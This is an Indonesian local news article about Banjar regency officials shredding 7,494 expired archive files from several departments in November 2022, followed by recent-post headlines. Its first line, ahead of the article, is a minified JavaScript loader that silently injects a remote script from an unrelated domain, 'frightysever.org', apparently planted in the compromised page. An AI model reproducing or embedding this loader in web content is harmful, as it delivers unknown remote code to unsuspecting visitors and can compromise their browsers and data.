(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Wabup Habib Idrus Al-Habsyie Musnahkan Arsip Kadaluarsa di Depo Arsip Martapura


KANALKALIMANTAN.COM, MARTAPURA– Wakil Bupati Banjar Habib Idrus Al-Habsyie melakukan pemusnahan arsip dengan cara dicacah di Depo Arsip Martapura, Selasa (22/11/2022) siang.

Pemusnahan arsip merupakan tanggung jawab pimpinan pencipta arsip. Sebagaimana telah diatur dalam Peraturan Pemerintah Nomor 28 Tahun 2012 tentang Pelaksanaan Undang Undang Nomor 43 Tahun 2009 tentang Kearsipan dan Peraturan Kepala Arsip Nasional RI Nomor 25 Tahun 2012 tentang Pedoman Pemusnahan Arsip dan Peraturan Bupati Banjar Nomor 15 Tahun 2021 tentang Jadwal Retensi Arsip.

Menurut Habib Idrus, arsip sebagai rekaman kegiatan lembaga juga merupakan bukti akuntabilitas kinerja, memori dan identitas serta bahan pertanggungjawaban.

“Saya mengucapkan terimakasih kepada seluruh pihak atas kerja sama dan koordinasi yang baik sehingga kegiatan pemusnahan ini bisa dilaksanakan,” ucapnya.

 

Baca juga  : ‘Pulau’ Sampah dan Eceng Gondok di Bawah Jembatan Pasar Lama Banjarmasin

Sementara Plt Kepala Dinas Perpustakaan dan Kearsipan (Dispersip) Banjar Mohammad Yani mengatakan, sebanyak 7.494 arsip dimusnahkan adalah arsip dinamis yang masa berlakunya sudah habis.

Arsip dimaksud milik beberapa SKPD yaitu :

– Arsip eks Dinas Pengelolaan Pasar kurun waktu tahun 1990-2008 sebanyak 299 berkas.
– Arsip Perumda Pasar Bauntung Batuah kurun waktu tahun 2010-2020 sebanyak 2.750 berkas.
– Arsip Dinas Perumahan dan Permukiman (Disperkim) kurun waktu tahun 1999-2021 sebanyak 2.462 berkas.
– Arsip Dinas Pertanian, Perkebunan dan Peternakan kurun waktu tahun 1980-2010 sebanyak 1.162 berkas.
– Arsip RSUD Ratu Zalecha Martapura kurun waktu tahun 2009-2014 sebanyak 821 berkas.

Baca juga   :Baznas HSU Salurkan Bantuan ke Korban Banjir

Pemusnahan arsip tersebut juga disaksikan Dirut RSUD Ratu Zalecha, Perwakilan Perumda PBB, DPRKPLH, Dinas Pertanian serta Para Arsiparis Dispersip Provinsi Kalsel.

Kegiatan diakhiri dengan penandatanganan berita acara pemusnahan arsip oleh Habib Idrus Al-Habsyie serta dari SKPD terkait.(Kanalkalimantan.com/kk)

Reporter : kk
Editor : cell


Desy Arfianty

Recent Posts

Arti Warna Merah dalam Tradisi Imlek

KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More

2 jam ago

Ini Makna di Balik Shio Kuda Api Imlek 2026

KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More

6 jam ago

Malam Imlek Penuh Khidmat di Klenteng Karta Raharja Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More

7 jam ago

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

24 jam ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

1 hari ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

1 hari ago

This website uses cookies.